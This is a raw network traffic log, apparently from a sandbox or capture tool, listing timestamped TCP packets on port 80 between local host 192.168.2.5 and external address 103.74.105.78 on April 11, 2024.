Apr 11, 2024 10:39:59.206975937 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207000017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207015991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207026005 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207031965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207056046 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207058907 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207079887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207106113 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207108974 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207125902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207149982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207170963 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207185984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207194090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207210064 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207226038 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207252026 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207262039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207284927 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207304001 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207309008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207333088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207349062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207350969 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207370043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207391024 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207400084 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207478046 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207487106 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207503080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207519054 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207535982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207544088 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207552910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207568884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207580090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.207587004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.207613945 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.258685112 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.541604996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541661024 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541696072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541733027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541774988 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541809082 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541846991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541882992 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541882992 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.541883945 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.541883945 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.541919947 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541960955 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.541968107 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.542023897 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.542366982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542455912 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542519093 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.542530060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542587996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542627096 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542651892 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.542674065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542738914 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.542807102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542866945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.542929888 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.542998075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543129921 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543190002 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543229103 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543283939 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543358088 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543416977 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543503046 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543566942 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543581963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543620110 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543657064 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543682098 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543694019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543734074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543760061 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543771982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543808937 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543833017 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543845892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543881893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543906927 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543920040 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543957949 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.543981075 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.543996096 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544034004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544058084 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544070005 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544106007 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544130087 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544142962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544178963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544202089 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544214964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544275045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544295073 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544312000 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544348001 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544384003 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544385910 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544420004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544439077 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544456959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544493914 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544514894 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544529915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544567108 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544590950 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544603109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544639111 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544661999 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544675112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544714928 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544732094 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544753075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544789076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544810057 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544826031 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544862986 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544883013 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.544898987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544935942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.544955969 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.586910009 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.593736887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.633914948 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.877186060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877239943 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877279043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877319098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877330065 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.877357960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877401114 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.877402067 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877441883 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877460957 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.877496004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877533913 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877557993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.877573013 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877612114 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.877630949 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.879930019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880002975 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880037069 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880167961 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880234003 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880352974 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880453110 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880491972 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880510092 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880531073 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880568027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880583048 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880636930 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880675077 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880690098 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880712986 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880752087 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880765915 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880812883 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880850077 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880868912 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880889893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.880944014 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.880966902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881006002 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881042957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881059885 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881091118 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881143093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881145954 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881182909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881221056 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881242037 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881325006 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881362915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881382942 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881401062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881438971 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881457090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881477118 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881514072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881532907 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881552935 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881589890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881608009 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881628036 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881664991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881680012 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881704092 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881742954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881757975 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881782055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881819010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881835938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881858110 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881895065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881912947 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.881932974 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.881970882 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882004976 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.882006884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882047892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882066965 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.882091045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882128954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882162094 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.882165909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882205963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882226944 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.882242918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882281065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882298946 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.882318020 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882354021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882371902 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.882394075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.882448912 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:59.922846079 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.969723940 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:59.969826937 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.212764978 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.212820053 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.212860107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.212903023 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.212941885 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.212980032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.213017941 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.213057995 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.213095903 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.213135958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.214632988 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.217370987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.217566013 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.217606068 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.217633009 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.217740059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.217806101 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.217839956 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.217978954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218039036 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218065023 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218197107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218254089 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218286037 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218405962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218445063 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218466043 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218485117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218523026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218544006 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218561888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218600035 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218625069 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218637943 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218676090 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218693018 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218715906 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218755007 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218775034 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218792915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218830109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218851089 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218868971 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218905926 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218925953 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.218945980 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.218982935 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219003916 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219022989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219059944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219080925 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219099045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219136000 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219157934 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219175100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219212055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219232082 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219249964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219288111 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219321012 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219326019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219364882 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219379902 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219410896 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219448090 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219480038 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219489098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219527960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219556093 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219564915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219603062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219626904 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219640970 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219680071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219698906 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219721079 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219758987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219777107 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219798088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219836950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219854116 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219876051 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219913006 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219932079 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.219952106 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.219989061 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.220005035 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.220029116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.220082045 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.305051088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.305097103 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.305138111 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.305176973 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.305277109 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.305277109 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.550121069 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550179958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550219059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550246954 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.550259113 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550297022 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550319910 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.550338984 CEST	80	49705	103.74.105.78	192.168.2.5
